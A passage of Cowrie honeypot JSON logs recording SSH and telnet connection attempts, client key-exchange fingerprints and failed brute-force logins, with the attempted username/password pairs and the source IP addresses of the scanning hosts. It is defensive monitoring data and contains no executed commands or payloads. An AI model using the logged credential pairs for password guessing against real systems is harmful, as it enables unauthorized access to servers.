","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:56.340712Z","src_ip":"45.156.87.253","session":"9abb61867e86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:56.583093Z","src_ip":"45.156.87.253","session":"9abb61867e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:57.666203Z","src_ip":"45.156.87.253","session":"9abb61867e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60890,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afd1f03d937","protocol":"ssh","message":"New connection: 45.156.87.253:60890 (10.17.0.5:22) [session: 5afd1f03d937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:59.815479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:59.818851Z","src_ip":"45.156.87.253","session":"5afd1f03d937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:59.899726Z","src_ip":"45.156.87.253","session":"5afd1f03d937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:00.144354Z","src_ip":"45.156.87.253","session":"5afd1f03d937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:01.228891Z","src_ip":"45.156.87.253","session":"5afd1f03d937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47252,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0e9e733db9","protocol":"ssh","message":"New connection: 80.66.85.226:47252 (10.17.0.5:22) [session: 4e0e9e733db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:01.526810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:01.531564Z","src_ip":"80.66.85.226","session":"4e0e9e733db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:01.627022Z","src_ip":"80.66.85.226","session":"4e0e9e733db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121183","message":"login attempt [root/121183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:01.904799Z","src_ip":"80.66.85.226","session":"4e0e9e733db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:03.000196Z","src_ip":"80.66.85.226","session":"4e0e9e733db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60906,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7a68c03f2a","protocol":"ssh","message":"New connection: 45.156.87.253:60906 (10.17.0.5:22) [session: 4f7a68c03f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:03.114666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:03.119133Z","src_ip":"45.156.87.253","session":"4f7a68c03f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:03.206736Z","src_ip":"45.156.87.253","session":"4f7a68c03f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:03.454502Z","src_ip":"45.156.87.253","session":"4f7a68c03f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:04.540582Z","src_ip":"45.156.87.253","session":"4f7a68c03f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46b6898122b","protocol":"ssh","message":"New connection: 45.156.87.253:60910 (10.17.0.5:22) [session: d46b6898122b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:06.607809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:06.611909Z","src_ip":"45.156.87.253","session":"d46b6898122b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:06.695612Z","src_ip":"45.156.87.253","session":"d46b6898122b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:06.940060Z","src_ip":"45.156.87.253","session":"d46b6898122b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":48830,"dst_ip":"159.203.135.109","dst_port":22,"session":"356ddb09e328","protocol":"ssh","message":"New connection: 108.179.220.174:48830 (159.203.135.109:22) [session: 356ddb09e328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:07.068631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:07.074413Z","src_ip":"108.179.220.174","session":"356ddb09e328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:07.103797Z","src_ip":"108.179.220.174","session":"356ddb09e328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V3ch@!n@Tr0ng$","message":"login attempt [root/V3ch@!n@Tr0ng$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:07.183312Z","src_ip":"108.179.220.174","session":"356ddb09e328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:08.025324Z","src_ip":"45.156.87.253","session":"d46b6898122b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:08.211550Z","src_ip":"108.179.220.174","session":"356ddb09e328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53096,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3ffdcf06c9","protocol":"ssh","message":"New connection: 45.156.87.253:53096 (10.17.0.5:22) [session: ee3ffdcf06c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:09.863945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:09.872607Z","src_ip":"45.156.87.253","session":"ee3ffdcf06c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:09.953263Z","src_ip":"45.156.87.253","session":"ee3ffdcf06c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:10.201685Z","src_ip":"45.156.87.253","session":"ee3ffdcf06c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39394,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc6f19cfc88","protocol":"telnet","message":"New connection: 107.6.151.170:39394 (159.203.135.109:23) [session: 7cc6f19cfc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:10.206148Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:11.285342Z","src_ip":"45.156.87.253","session":"ee3ffdcf06c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53110,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7185a47231f","protocol":"ssh","message":"New connection: 45.156.87.253:53110 (10.17.0.5:22) [session: d7185a47231f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:13.306537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:13.310446Z","src_ip":"45.156.87.253","session":"d7185a47231f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:13.391709Z","src_ip":"45.156.87.253","session":"d7185a47231f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:13.637341Z","src_ip":"45.156.87.253","session":"d7185a47231f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:14.721442Z","src_ip":"45.156.87.253","session":"d7185a47231f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53116,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c58ada81b3","protocol":"ssh","message":"New connection: 45.156.87.253:53116 (10.17.0.5:22) [session: 13c58ada81b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:16.571509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:16.577938Z","src_ip":"45.156.87.253","session":"13c58ada81b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:16.658272Z","src_ip":"45.156.87.253","session":"13c58ada81b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:16.901513Z","src_ip":"45.156.87.253","session":"13c58ada81b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:17.984302Z","src_ip":"45.156.87.253","session":"13c58ada81b3","protocol":"ssh"}
